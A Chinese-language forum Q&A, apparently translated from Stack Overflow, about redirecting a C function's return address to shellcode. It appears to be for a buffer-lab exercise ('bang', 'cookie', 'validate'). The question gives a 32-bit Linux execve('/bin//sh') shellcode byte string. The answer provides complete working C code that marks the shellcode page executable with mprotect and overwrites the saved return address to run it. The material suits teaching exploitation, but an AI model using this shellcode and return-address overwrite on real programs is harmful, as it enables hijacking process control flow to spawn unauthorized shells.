2014-10-04 72 views
0

我使用linux和我有c程序,我想更改返回地址指向我的shellcode,我无法做到这一点。更改返回地址指向shellcode

这里是我的shellcode

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 

这里是我的C程序

int global_value = 0; 
void bang(int val) 
{ 
if (global_value == cookie) { 
    printf("Bang!: You set global_value to 0x%x\n", global_value); 
    validate(2); 
} else 
    printf("Misfire: global_value = 0x%x\n", global_value); 
    exit(0); 
} 
+0

你在问什么?你问如何设置这个代码的指针? – 4pie0 2014-10-04 23:30:04

+0

显示你的关于'validate(size_t)'的代码,是否使用'strcpy()'来完成堆栈溢出攻击? – 2014-10-05 04:36:17

+0

即时尝试将返回地址更改为shellcode。 – user3818265 2014-10-05 16:25:35

回答

0

我想你不应该使用出口(0)或所有喜欢它的。这是我的尝试。我希望它有用!

// compile : gcc -m32 test.c -o test 
    // run : ./test 

    #include <sys/mman.h > 
    #define PAGE_SIZE 4096U 

    char shellcode[] = 
     "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"; 

    int global_value = 0; 

    void bang(int val) 
    { 
     char **ptr = (char **)&val-1; 
     mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC); 
     *ptr = shellcode; 

    /*if (global_value == cookie) { 
     printf("Bang!: You set global_value to 0x%x\n", global_value); 
     validate(2); 
    } else 
     printf("Misfire: global_value = 0x%x\n", global_value);*/ 
     // exit(0); 
    } 

    int main() { 
     bang(0); 
     printf("this should not be executed!\n"); 
     return 0; 
    }